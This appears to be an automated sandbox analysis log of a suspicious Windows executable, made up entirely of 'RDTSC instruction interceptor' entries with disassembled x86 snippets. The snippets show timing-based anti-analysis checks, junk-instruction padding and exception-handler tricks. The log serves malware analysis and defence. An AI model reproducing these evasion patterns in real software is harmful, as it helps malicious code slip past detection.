Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D05C0D second address: D05C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D0C824 second address: D0C82A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D0C82A second address: D0C853 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5958F82B5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jo 00007F5958F82B6Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5958F82B60h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D0C853 second address: D0C912 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 pushad 0x00000008 ja 00007F5959240B6Ch 0x0000000e popad 0x0000000f push dword ptr fs:[00000000h] 0x00000016 cmc 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e jmp 00007F5959240B76h 0x00000023 lea eax, dword ptr [ebp+12477CCDh] 0x00000029 stc 0x0000002a mov dword ptr [eax+01h], esp 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F5959240B68h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 jl 00007F5959240B7Bh 0x0000004d jmp 00007F5959240B75h 0x00000052 lea eax, dword ptr [ebp+12477CE6h] 0x00000058 cld 0x00000059 mov dword ptr [eax+01h], ebp 0x0000005c cmc 0x0000005d mov byte ptr [ebp+122D2C79h], 0000004Fh 0x00000064 jmp 00007F5959240B6Ah 0x00000069 cld 0x0000006a push BD6D448Ah 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F5959240B78h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D0C912 second address: D0C91C instructions: 0x00000000 rdtsc 0x00000002 je 00007F5958F82B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D11463 second address: D11489 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B75h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D11489 second address: D1148D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1148D second address: D11493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D11493 second address: D114A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5958F82B5Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D114A7 second address: D114B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D10A2D second address: D10A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F5958F82B56h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D10BBC second address: D10BC8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D10D10 second address: D10D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 js 00007F5958F82B56h 0x0000000c popad 0x0000000d js 00007F5958F82B5Eh 0x00000013 jnp 00007F5958F82B56h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D10D2B second address: D10D3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D136D1 second address: D136D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D13918 second address: D1391D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1391D second address: D13941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jl 00007F5958F82B5Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D13941 second address: D1394E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnp 00007F5959240B66h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D14505 second address: D14515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 js 00007F5958F82B64h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D15562 second address: D15583 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F5959240B74h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D15583 second address: D15589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D15589 second address: D155DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 sub esi, dword ptr [ebp+122D3730h] 0x0000000c push 00000000h 0x0000000e or dword ptr [ebp+122D33A6h], eax 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F5959240B68h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 mov edi, dword ptr [ebp+122D37D0h] 0x00000036 jmp 00007F5959240B6Eh 0x0000003b xchg eax, ebx 0x0000003c je 00007F5959240B70h 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D155DB second address: D155E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1663D second address: D16650 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D171B9 second address: D171BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D16F2C second address: D16F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D16F32 second address: D16F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D17B1D second address: D17B38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5959240B6Dh 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D17B38 second address: D17B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D17B3C second address: D17BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F5959240B68h 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F5959240B68h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov di, dx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F5959240B68h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 xchg eax, ebx 0x0000004a pushad 0x0000004b jnc 00007F5959240B7Dh 0x00000051 jp 00007F5959240B6Ch 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D18471 second address: D18477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D18477 second address: D1848E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5959240B73h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D18FD2 second address: D18FD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D18FD8 second address: D18FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D18FDC second address: D1906A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F5958F82B58h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 jo 00007F5958F82B57h 0x0000002b clc 0x0000002c call 00007F5958F82B69h 0x00000031 sub di, EB15h 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007F5958F82B58h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 0000001Dh 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 mov esi, dword ptr [ebp+122D3904h] 0x00000059 push 00000000h 0x0000005b mov si, bx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jne 00007F5958F82B5Ch 0x00000067 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1906A second address: D19082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5959240B74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D19B6B second address: D19BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F5958F82B58h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 push 00000000h 0x00000025 mov esi, dword ptr [ebp+122D1C2Ch] 0x0000002b push 00000000h 0x0000002d mov edi, dword ptr [ebp+122D1C4Bh] 0x00000033 push eax 0x00000034 pushad 0x00000035 pushad 0x00000036 jmp 00007F5958F82B60h 0x0000003b jmp 00007F5958F82B5Ch 0x00000040 popad 0x00000041 push eax 0x00000042 push edx 0x00000043 push esi 0x00000044 pop esi 0x00000045 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D198E3 second address: D198E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1C1E6 second address: D1C1EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1C1EC second address: D1C1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1C716 second address: D1C71A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1C71A second address: D1C77B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F5959240B6Ch 0x0000000c popad 0x0000000d nop 0x0000000e mov edi, dword ptr [ebp+122D3778h] 0x00000014 or bl, 00000050h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F5959240B68h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 sbb di, 960Eh 0x00000038 jl 00007F5959240B6Ch 0x0000003e add dword ptr [ebp+122D1EB2h], ebx 0x00000044 push 00000000h 0x00000046 add dword ptr [ebp+122D3159h], ebx 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 push edi 0x00000052 pop edi 0x00000053 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1C77B second address: D1C77F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1C77F second address: D1C785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1C785 second address: D1C7A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jl 00007F5958F82B56h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1D6D0 second address: D1D6D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1D6D4 second address: D1D6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1D81A second address: D1D81E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D206F1 second address: D2078E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5958F82B58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F5958F82B69h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F5958F82B58h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D36FCh] 0x00000034 stc 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F5958F82B58h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 and ebx, dword ptr [ebp+122D388Ch] 0x00000057 xchg eax, esi 0x00000058 jng 00007F5958F82B5Eh 0x0000005e push eax 0x0000005f js 00007F5958F82B6Fh 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F5958F82B5Dh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1F945 second address: D1F949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D20996 second address: D2099C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2191A second address: D2198E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5959240B74h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e mov edi, dword ptr [ebp+122D3898h] 0x00000014 mov dword ptr [ebp+122D2030h], eax 0x0000001a popad 0x0000001b push dword ptr fs:[00000000h] 0x00000022 mov dword ptr [ebp+122D2985h], ebx 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F5959240B68h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 mov eax, dword ptr [ebp+122D171Dh] 0x0000004f mov di, cx 0x00000052 push FFFFFFFFh 0x00000054 mov bl, 06h 0x00000056 nop 0x00000057 pushad 0x00000058 jo 00007F5959240B6Ch 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2198E second address: D21996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D21996 second address: D2199A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2199A second address: D219A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D219A8 second address: D219AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D219AE second address: D219B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D22926 second address: D22937 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007F5959240B70h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D229D3 second address: D229D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D229D7 second address: D229DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D24782 second address: D24801 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F5958F82B56h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F5958F82B58h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D2811h] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F5958F82B58h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b jne 00007F5958F82B5Bh 0x00000051 push 00000000h 0x00000053 jmp 00007F5958F82B5Ch 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c pushad 0x0000005d popad 0x0000005e jno 00007F5958F82B56h 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D24801 second address: D24807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D24807 second address: D2480B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2480B second address: D2480F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D27719 second address: D2778A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F5958F82B58h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov bx, dx 0x00000028 push 00000000h 0x0000002a mov ebx, 73F74711h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F5958F82B58h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F5958F82B63h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D26A00 second address: D26A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jne 00007F5959240B6Ch 0x0000000b popad 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D2035h] 0x00000013 push dword ptr fs:[00000000h] 0x0000001a jg 00007F5959240B7Fh 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 sbb bl, FFFFFFF4h 0x0000002a sub dword ptr [ebp+122D2063h], esi 0x00000030 mov eax, dword ptr [ebp+122D0231h] 0x00000036 jnc 00007F5959240B6Ch 0x0000003c mov edi, dword ptr [ebp+122D377Ch] 0x00000042 push FFFFFFFFh 0x00000044 mov edi, dword ptr [ebp+122D1C3Dh] 0x0000004a nop 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2795D second address: D27969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 js 00007F5958F82B56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D26A76 second address: D26A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D27969 second address: D2796D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D26A7A second address: D26A80 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
